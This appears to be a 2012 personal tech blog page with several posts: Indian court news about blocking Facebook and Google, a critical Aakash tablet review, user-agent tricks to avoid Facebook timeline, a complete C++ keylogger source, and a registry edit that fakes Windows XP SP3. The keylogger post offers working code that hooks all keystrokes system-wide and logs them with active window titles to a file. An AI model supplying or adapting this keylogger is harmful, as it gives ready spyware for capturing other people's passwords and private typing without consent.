January 12, 2012

Indian Government to ban Websites the Chinese way

No comments:
New Delhi: The Delhi High Court today warned social networking site Facebook India and search engine Google India that websites can be "blocked" like in China if they fail to devise a mechanism to check and remove objectionable material from their web pages. "Like China, we will block all such websites," Justice Suresh Kait said while asking counsel for Facebook and Google India to develop a mechanism to keep a check and remove "offensive and objectionable" material from their web pages.

Justice Kait, who did not stay the proceedings against the two websites before magistrate's court, however agreed with the plea of lawyers that they would not press for an effective hearing in the trial court tomorrow. Former Additional Solicitor General Mukul Rohatgi, appearing for Google India, said the postings of "obscene, objectionable and defamatory" articles and other things cannot be "filtered" or "monitored". "No human interference is possible, and moreover, it can't be feasible to check such incidents.

Billions of people across the globe, post their articles on the website. Yes, they may be defamatory, obscene but cannot be checked," he said. Rohatgi tried to distinguish between Google India and its US-based holding company Google Inc. "The US-based Google Inc is the service provider and not me (Google India) and hence, we are not liable for the action of my holding company.

Moreover, it is criminal case where a vicarious liability can be fastened on a company which has no role, whatsoever, in the alleged offence." Citing provisions of the Information Technology Act, the counsel for Google India said the websites are protected by the law in respect of such "objectionable" material so far as they are not the authors. The websites may lose the legal protection if they either modify or monitor the article or comments or fail to deal with the complaints of an affected person or the government on such issues. Advocate Siddharth Luthra, appearing for Facebook India, questioned the authenticity of the documents provided by the complainant to the magisterial court. "We do not know as to when, how and from where, the documents came into being.

They are not the documents as per the provisions of the Evidence Act," he said. He also said the social networking site cannot be held accountable for the acts of the third parties. The court fixed the case for hearing on January 16. A Google spokesperson said, "We did file a petition before the Delhi High Court. The Court has now issued a notice to the petitioner. We can't comment further at this stage." Earlier, the trial court had summoned the representatives of 21 social networking sites, including those of Facebook, Microsoft, Google, Yahoo and Youtube after taking cognisance of a private criminal complaint against the websites. It had also directed the Centre to take "immediate appropriate steps" and also file a report on January 13. Taking note of Vinay Rai's complaint, the court had held that the accused websites connived with each other and various unknown persons and are selling, publicly exhibiting and have put into circulation "obscene, lascivious content." The websites have been booked under section 292 (sale of obscene books etc), 293 (sale of obscene objects to young person etc) and 120-B (criminal conspiracy) of the IPC.
Source
Read More

January 08, 2012

Reasons why Aakash Tablet sucks and is not worth your money

No comments:
Aakash Tablet is currently the hottest gadget in Indian markets but is it worth the heat ?
The device was brought into the market, by a Korean Company named Datawind affiliated by Indian Government, last year to provide poor students an affordable gadget. with a view that it'd help them better understand the ever changing world of modern technology.




Media, press and several blog entries helped Aakash become an over-hyped product and as a result, January and February editions of the Tablet have been booked already.


Is it worth it your money ? 

I would say no because the device's specifications resemble that of a cheap tablet made in China plus it has several software and marketing issues.
  • The 336 MHz processor is not sufficient to provide a smooth multitasking experience.
  • The resistive touchscreen is not too responsive when touched with stylus. 
  • It doesn't has access to Android market, doesn't support hardware upgrades. 
  • It doesn't even has speakers, to listen to audio you must purchase an external audio device with 3.5mm jack. 
  • It can connect to Internet but only via Wi-Fi which is so rare to those poor Indian students that Aakash tries to target. 
  • I don't see a reason why anyone would want to buy Aakash Tablet for themselves. 
  • The design itself is weird, not like a modern gadget and sports a huge Aakash logo on the back. I'd be embarrassed to carry it in public with that logo on the back.

If I were to buy an Aakash Tablet, I' would hang it on a wall to use it as digital photo frame. I don't see this device doing anything more than that.
Read More

Disable Facebook timeline on Firefox, Chrome and Safari

No comments:
Saw Facebook's timeline recently and didn't like it ? I didn't like it too.

Here I'll show you how to quickly disable this new feature on one of your favorite browsers i.e. Firefox, Chrome or Safari. We are basically going to tweak the browsers to represent itself as Internet explorer to Facebook

On Firefox

  • Install Useragent Switcher Extension from here 
  • Go to Tools > UA switcher > Choose the Internet Explorer 7
  • Done !

On Chrome

  • Right click on Chrome's shortcut icon and click on properties.
  • Add this string after properties –user-agent=”Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)”
  • Example: "C:\Documents and Settings\Admin\Local Settings\Application Data\Google\Chrome\Application\chrome.exe" –user-agent=”Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)

On Safari

  • Go to preference menu > select “Advanced”  > tick the “enable developers menu” > Save and exit
  • Again go to preferences menu. > click the page icon menu (next to the cog wheel icon) > select the “develop/user agent” menu > choose the useragent you wish to use for the current website you are viewing > select Internet Explorer 7
Read More

January 04, 2012

[C++] Keylogger source using SetWindowsHookEx

22 comments:
Compiled and tested on MS VC++ 2010 and WinXP.

Features
  • Fully commented source
  • Captures capital and small alphabets, numbers, symbols
  • Logs all special keys like tabs, alt, shift
  • Uses low level keyboard hook to log keys to a text file
  • Very optimized and resource friendly
  • Good for learning
To start logging, compile and execute. To stop logging press CTRL + F12
/************************************************************
* A very basic Key logger in C++
* Author: Manish
************************************************************/

// Include header files
#include 
#include 

// Initialize a keyboard HHOOK
HHOOK KeyboardHook;

// Function to write to a file
void write(const char* c)
{
 const char* fileLocation = "F:\\log.txt"; // Define the location of log file
 FILE *f = fopen(fileLocation,"a+"); // Open the log file in append mode
 if(f!=NULL)
 {
  fputs(c,f); // Write to end of the file
  fclose(f); // Close the file
 }
}

// The WIN API Message Loop
void KeepAlive()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
  TranslateMessage(&message);
  DispatchMessage(&message);
    }
}

// Unhook and exit
void Exit()
{
    UnhookWindowsHookEx(KeyboardHook);
    exit(0);
}

// Is shift key down ?
bool shift = false;
// Store window
HWND oldWindow = NULL;
// Window text
char cWindow[MAX_PATH];

// Callback function to be hooked
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    bool bControlKeyDown=0;
 // Get current state of capsLock
 bool caps = GetKeyState(VK_CAPITAL) < 0;
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *) lParam;
 if(nCode == HC_ACTION){
  // Determine the current state of shift key
  if(p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT){
   if(wParam == WM_KEYDOWN)
   {
    shift = true;
   }
   else
   {
    shift = false;
   }
  }
  // Check if F12 + CTRL is pressed, if yes -> exit
  bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);
  if (p->vkCode == VK_F12 && bControlKeyDown) // If F12 and CTRL are pressed
  {
   Exit();
  }
  // Start logging keys
  if(wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) // If key has been pressed
  {
   HWND newWindow = GetForegroundWindow();
   if(oldWindow == NULL || newWindow != oldWindow){
    // Get Active window title and store it
    GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
    write("\nActive Window: ");
    write(cWindow);
    write("\n");
    oldWindow = newWindow;
   }
   // Virtual key codes reference: http://msdn.microsoft.com/en-us/library/dd375731%28v=VS.85%29.aspx
   switch(p->vkCode) // Compare virtual keycode to hex values and log keys accordingly
   {
    //Number keys
    case 0x30: write(shift?")":"0");break;
    case 0x31: write(shift?"!":"1");break;
    case 0x32: write(shift?"@":"2");break;
    case 0x33: write(shift?"#":"3");break;
    case 0x34: write(shift?"$":"4");break;
    case 0x35: write(shift?"%":"5");break;
    case 0x36: write(shift?"^":"6");break;
    case 0x37: write(shift?"&":"7");break;
    case 0x38: write(shift?"*":"8");break;
    case 0x39: write(shift?"(":"9");break;
    // Numpad keys
    case 0x60: write("0");break;
    case 0x61: write("1");break;
    case 0x62: write("2");break;
    case 0x63: write("3");break;
    case 0x64: write("4");break;
    case 0x65: write("5");break;
    case 0x66: write("6");break;
    case 0x67: write("7");break;
    case 0x68: write("8");break;
    case 0x69: write("9");break;
    // Character keys
    case 0x41: write(caps?(shift?"a":"A"):(shift?"A":"a"));break;
    case 0x42: write(caps?(shift?"b":"B"):(shift?"B":"b"));break;
    case 0x43: write(caps?(shift?"c":"C"):(shift?"C":"c"));break;
    case 0x44: write(caps?(shift?"d":"D"):(shift?"D":"d"));break;
    case 0x45: write(caps?(shift?"e":"E"):(shift?"E":"e"));break;
    case 0x46: write(caps?(shift?"f":"F"):(shift?"F":"f"));break;
    case 0x47: write(caps?(shift?"g":"G"):(shift?"G":"g"));break;
    case 0x48: write(caps?(shift?"h":"H"):(shift?"H":"h"));break;
    case 0x49: write(caps?(shift?"i":"I"):(shift?"I":"i"));break;
    case 0x4A: write(caps?(shift?"j":"J"):(shift?"J":"j"));break;
    case 0x4B: write(caps?(shift?"k":"K"):(shift?"K":"k"));break;
    case 0x4C: write(caps?(shift?"l":"L"):(shift?"L":"l"));break;
    case 0x4D: write(caps?(shift?"m":"M"):(shift?"M":"m"));break;
    case 0x4E: write(caps?(shift?"n":"N"):(shift?"N":"n"));break;
    case 0x4F: write(caps?(shift?"o":"O"):(shift?"O":"o"));break;
    case 0x50: write(caps?(shift?"p":"P"):(shift?"P":"p"));break;
    case 0x51: write(caps?(shift?"q":"Q"):(shift?"Q":"q"));break;
    case 0x52: write(caps?(shift?"r":"R"):(shift?"R":"r"));break;
    case 0x53: write(caps?(shift?"s":"S"):(shift?"S":"s"));break;
    case 0x54: write(caps?(shift?"t":"T"):(shift?"T":"t"));break;
    case 0x55: write(caps?(shift?"u":"U"):(shift?"U":"u"));break;
    case 0x56: write(caps?(shift?"v":"V"):(shift?"V":"v"));break;
    case 0x57: write(caps?(shift?"w":"W"):(shift?"W":"w"));break;
    case 0x58: write(caps?(shift?"x":"X"):(shift?"X":"x"));break;
    case 0x59: write(caps?(shift?"y":"Y"):(shift?"Y":"y"));break;
    case 0x5A: write(caps?(shift?"z":"Z"):(shift?"Z":"z"));break;
    // Special keys
    case VK_SPACE: write(" "); break;
    case VK_RETURN: write("\n"); break;
    case VK_TAB: write("\t"); break;
    case VK_ESCAPE: write("[ESC]"); break;
    case VK_LEFT: write("[LEFT]"); break;
    case VK_RIGHT: write("[RIGHT]"); break;
    case VK_UP: write("[UP]"); break;
    case VK_DOWN: write("[DOWN]"); break;
    case VK_END: write("[END]"); break;
    case VK_HOME: write("[HOME]"); break;
    case VK_DELETE: write("[DELETE]"); break;
    case VK_BACK: write("[BACKSPACE]"); break;
    case VK_INSERT: write("[INSERT]"); break;
    case VK_LCONTROL: write("[CTRL]"); break;
    case VK_RCONTROL: write("[CTRL]"); break;
    case VK_LMENU: write("[ALT]"); break;
    case VK_RMENU: write("[ALT]"); break;
    case VK_F1: write("[F1]");break;
    case VK_F2: write("[F2]");break;
    case VK_F3: write("[F3]");break;
    case VK_F4: write("[F4]");break;
    case VK_F5: write("[F5]");break;
    case VK_F6: write("[F6]");break;
    case VK_F7: write("[F7]");break;
    case VK_F8: write("[F8]");break;
    case VK_F9: write("[F9]");break;
    case VK_F10: write("[F10]");break;
    case VK_F11: write("[F11]");break;
    case VK_F12: write("[F12]");break;
    // Shift keys
    case VK_LSHIFT: break; // Do nothing
    case VK_RSHIFT: break; // Do nothing
    // Symbol keys
    case VK_OEM_1: write(shift?":":";");break;
    case VK_OEM_2: write(shift?"?":"/");break;
    case VK_OEM_3: write(shift?"~":"`");break;
    case VK_OEM_4: write(shift?"{":"[");break;
    case VK_OEM_5: write(shift?"|":"\\");break;
    case VK_OEM_6: write(shift?"}":"]");break;
    case VK_OEM_7: write(shift?"\"":"'");break;
    case VK_OEM_PLUS: write(shift?"+":"=");break;
    case VK_OEM_COMMA: write(shift?"<":",");break;
    case VK_OEM_MINUS: write(shift?+"_":"-");break;
    case VK_OEM_PERIOD: write(shift?">":".");break;
    default: 
     DWORD dwMsg = p->scanCode << 16;
                        dwMsg += p->flags << 24;
                        char key[16];
                        GetKeyNameText(dwMsg,key,15);
      write(key);
      break;
   }
  }
 }
 // Forward the event to other hooks
    return CallNextHookEx(NULL,nCode,wParam,lParam);
}

// WinAPI main method
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
 // Write to file
 write("\n---------------------------------------------------------");
 // Hook to all available threads
    KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, NULL);
 if(KeyboardHook!=NULL)
 {
  // Keep alive till F12 + CTRL key press is detected - can also register Hotkey
  KeepAlive();
 }
 // Exit the program
    return 0;
}
 
Read More

Quickly upgrade your Windows XP SP2 to SP3

1 comment:
I wanted to play a silly Game and it demanded SP3 so I picked up this method instead of upgrading my OS just for a game. This is a quick hack to fake an upgrade from SP2 to SP3 on a running Windows XP. This will not actually make your OS equivalent to Sp3 releases.



Easy steps:
  1. Open windows registry editor. ( Start > Run > regedit )
  2. Take a backup of your current settings by going to File > Export
  3. Now navigate to following registry key - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows
  4. Now change the value of CSDVersion option, available in right, from 200 to 300
I know there are still many XP users left, hope this is useful to a few of them.
Read More